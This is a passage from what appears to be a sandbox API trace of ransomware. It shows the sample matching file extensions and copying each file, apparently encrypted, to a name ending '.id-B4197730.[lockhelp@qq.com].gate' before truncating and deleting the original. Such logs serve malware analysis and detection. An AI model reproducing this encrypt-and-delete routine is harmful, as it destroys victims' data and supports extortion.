returned 4 [0114.349] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0114.349] lstrlenW (lpString=".bz2") returned 4 [0114.349] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0114.349] lstrlenW (lpString=".7z") returned 3 [0114.349] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0114.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.349] lstrlenW (lpString=".dbf") returned 4 [0114.349] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0114.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.349] lstrlenW (lpString=".1cd") returned 4 [0114.349] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0114.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.349] lstrlenW (lpString=".jpg") returned 4 [0114.349] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0114.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.349] lstrlenW (lpString=".doc") returned 4 [0114.349] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0114.349] lstrlenW (lpString=".docx") returned 5 [0114.349] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0114.349] lstrlenW (lpString=".pdf") returned 4 [0114.349] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0114.349] lstrlenW (lpString=".xls") returned 4 [0114.349] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0114.349] lstrlenW (lpString=".xlsx") returned 5 [0114.349] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0114.349] lstrlenW (lpString=".ppt") returned 4 [0114.349] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0114.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.349] lstrlenW (lpString=".zip") returned 4 [0114.350] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0114.350] lstrlenW (lpString=".rar") returned 4 [0114.350] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0114.350] lstrlenW (lpString=".bz2") returned 4 [0114.350] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0114.350] lstrlenW (lpString=".7z") returned 3 [0114.350] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0114.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.350] lstrlenW (lpString=".dbf") returned 4 [0114.350] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0114.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.350] lstrlenW (lpString=".1cd") returned 4 [0114.350] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0114.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.350] lstrlenW (lpString=".jpg") returned 4 [0114.350] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0114.350] lstrcmpiW (lpString1=".msi", lpString2=".gate") returned 1 [0114.350] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0114.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0114.567] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=872448) returned 1 [0114.568] CloseHandle (hObject=0x358) returned 1 [0114.568] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0114.568] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0114.568] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0114.568] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0114.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0114.714] GetLastError () returned 0x0 [0114.714] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0xd5000, lpOverlapped=0x0) returned 1 [0115.032] WriteFile (in: hFile=0x374, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xd5010, lpOverlapped=0x0) returned 1 [0115.047] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0115.048] WriteFile (in: hFile=0x374, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x100, lpOverlapped=0x0) returned 1 [0115.048] SetEndOfFile (hFile=0x374) returned 1 [0115.048] CloseHandle (hObject=0x374) returned 1 [0115.187] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.187] SetEndOfFile (hFile=0x358) returned 1 [0115.195] CloseHandle (hObject=0x358) returned 1 [0115.195] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0115.208] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0115.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.209] lstrlenW (lpString=".doc") returned 4 [0115.209] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0115.209] lstrlenW (lpString=".docx") returned 5 [0115.209] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0115.209] lstrlenW (lpString=".pdf") returned 4 [0115.209] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0115.209] lstrlenW (lpString=".xls") returned 4 [0115.209] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0115.209] lstrlenW (lpString=".xlsx") returned 5 [0115.209] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0115.209] lstrlenW (lpString=".ppt") returned 4 [0115.209] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0115.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.209] lstrlenW (lpString=".zip") returned 4 [0115.209] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0115.209] lstrlenW (lpString=".rar") returned 4 [0115.209] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0115.209] lstrlenW (lpString=".bz2") returned 4 [0115.209] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0115.209] lstrlenW (lpString=".7z") returned 3 [0115.209] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0115.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.209] lstrlenW (lpString=".dbf") returned 4 [0115.210] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0115.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.210] lstrlenW (lpString=".1cd") returned 4 [0115.210] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0115.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.210] lstrlenW (lpString=".jpg") returned 4 [0115.210] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0115.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.210] lstrlenW (lpString=".doc") returned 4 [0115.210] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0115.210] lstrlenW (lpString=".docx") returned 5 [0115.210] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0115.210] lstrlenW (lpString=".pdf") returned 4 [0115.210] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0115.210] lstrlenW (lpString=".xls") returned 4 [0115.210] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0115.210] lstrlenW (lpString=".xlsx") returned 5 [0115.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0115.210] lstrlenW (lpString=".ppt") returned 4 [0115.210] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0115.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.210] lstrlenW (lpString=".zip") returned 4 [0115.210] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0115.210] lstrlenW (lpString=".rar") returned 4 [0115.210] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0115.210] lstrlenW (lpString=".bz2") returned 4 [0115.210] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0115.211] lstrlenW (lpString=".7z") returned 3 [0115.211] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0115.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.211] lstrlenW (lpString=".dbf") returned 4 [0115.211] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0115.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.211] lstrlenW (lpString=".1cd") returned 4 [0115.211] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0115.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0115.211] lstrlenW (lpString=".jpg") returned 4 [0115.211] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0115.211] lstrcmpiW (lpString1=".msi", lpString2=".gate") returned 1 [0115.211] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0115.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.216] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=94720) returned 1 [0115.216] CloseHandle (hObject=0x358) returned 1 [0115.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0115.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.217] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.217] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0115.218] GetLastError () returned 0x0 [0115.218] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x17200, lpOverlapped=0x0) returned 1 [0115.243] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x17210, lpOverlapped=0x0) returned 1 [0115.246] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0115.246] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xf4, lpOverlapped=0x0) returned 1 [0115.247] SetEndOfFile (hFile=0x35c) returned 1 [0115.247] CloseHandle (hObject=0x35c) returned 1 [0115.250] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.250] SetEndOfFile (hFile=0x358) returned 1 [0115.251] CloseHandle (hObject=0x358) returned 1 [0115.252] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0115.252] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0115.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.252] lstrlenW (lpString=".doc") returned 4 [0115.252] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0115.252] lstrlenW (lpString=".docx") returned 5 [0115.252] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0115.253] lstrlenW (lpString=".pdf") returned 4 [0115.253] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0115.253] lstrlenW (lpString=".xls") returned 4 [0115.253] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0115.253] lstrlenW (lpString=".xlsx") returned 5 [0115.253] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0115.253] lstrlenW (lpString=".ppt") returned 4 [0115.253] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0115.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.253] lstrlenW (lpString=".zip") returned 4 [0115.253] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0115.253] lstrlenW (lpString=".rar") returned 4 [0115.253] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0115.253] lstrlenW (lpString=".bz2") returned 4 [0115.253] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0115.253] lstrlenW (lpString=".7z") returned 3 [0115.253] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0115.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.254] lstrlenW (lpString=".dbf") returned 4 [0115.254] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0115.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.254] lstrlenW (lpString=".1cd") returned 4 [0115.254] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0115.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.254] lstrlenW (lpString=".jpg") returned 4 [0115.254] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0115.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.254] lstrlenW (lpString=".doc") returned 4 [0115.254] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0115.254] lstrlenW (lpString=".docx") returned 5 [0115.254] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0115.254] lstrlenW (lpString=".pdf") returned 4 [0115.254] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0115.254] lstrlenW (lpString=".xls") returned 4 [0115.254] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0115.254] lstrlenW (lpString=".xlsx") returned 5 [0115.254] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0115.254] lstrlenW (lpString=".ppt") returned 4 [0115.254] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0115.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.254] lstrlenW (lpString=".zip") returned 4 [0115.254] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0115.255] lstrlenW (lpString=".rar") returned 4 [0115.255] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0115.255] lstrlenW (lpString=".bz2") returned 4 [0115.255] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0115.255] lstrlenW (lpString=".7z") returned 3 [0115.255] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0115.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.255] lstrlenW (lpString=".dbf") returned 4 [0115.255] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0115.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.255] lstrlenW (lpString=".1cd") returned 4 [0115.255] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0115.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0115.255] lstrlenW (lpString=".jpg") returned 4 [0115.255] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0115.255] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0115.255] lstrlenW (lpString="Setup.exe") returned 9 [0115.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.256] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=78152) returned 1 [0115.256] CloseHandle (hObject=0x358) returned 1 [0115.256] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0115.256] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.256] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.256] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0115.257] GetLastError () returned 0x0 [0115.257] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x13148, lpOverlapped=0x0) returned 1 [0115.323] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x13150, lpOverlapped=0x0) returned 1 [0115.325] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0115.325] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xe6, lpOverlapped=0x0) returned 1 [0115.325] SetEndOfFile (hFile=0x35c) returned 1 [0115.325] CloseHandle (hObject=0x35c) returned 1 [0115.471] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.471] SetEndOfFile (hFile=0x358) returned 1 [0115.472] CloseHandle (hObject=0x358) returned 1 [0115.472] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0115.473] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0115.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.473] lstrlenW (lpString=".doc") returned 4 [0115.473] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0115.473] lstrlenW (lpString=".docx") returned 5 [0115.473] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0115.473] lstrlenW (lpString=".pdf") returned 4 [0115.473] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0115.473] lstrlenW (lpString=".xls") returned 4 [0115.473] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0115.473] lstrlenW (lpString=".xlsx") returned 5 [0115.473] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0115.473] lstrlenW (lpString=".ppt") returned 4 [0115.473] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0115.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.474] lstrlenW (lpString=".zip") returned 4 [0115.474] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0115.474] lstrlenW (lpString=".rar") returned 4 [0115.474] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0115.474] lstrlenW (lpString=".bz2") returned 4 [0115.474] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0115.474] lstrlenW (lpString=".7z") returned 3 [0115.474] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0115.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.474] lstrlenW (lpString=".dbf") returned 4 [0115.474] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0115.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.474] lstrlenW (lpString=".1cd") returned 4 [0115.474] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0115.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.474] lstrlenW (lpString=".jpg") returned 4 [0115.474] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0115.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.474] lstrlenW (lpString=".doc") returned 4 [0115.474] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0115.474] lstrlenW (lpString=".docx") returned 5 [0115.474] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0115.474] lstrlenW (lpString=".pdf") returned 4 [0115.474] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0115.474] lstrlenW (lpString=".xls") returned 4 [0115.474] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0115.475] lstrlenW (lpString=".xlsx") returned 5 [0115.475] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0115.475] lstrlenW (lpString=".ppt") returned 4 [0115.475] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0115.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.475] lstrlenW (lpString=".zip") returned 4 [0115.475] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0115.475] lstrlenW (lpString=".rar") returned 4 [0115.475] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0115.475] lstrlenW (lpString=".bz2") returned 4 [0115.475] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0115.475] lstrlenW (lpString=".7z") returned 3 [0115.475] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0115.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.475] lstrlenW (lpString=".dbf") returned 4 [0115.475] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0115.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.475] lstrlenW (lpString=".1cd") returned 4 [0115.475] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0115.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0115.475] lstrlenW (lpString=".jpg") returned 4 [0115.475] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0115.475] lstrcmpiW 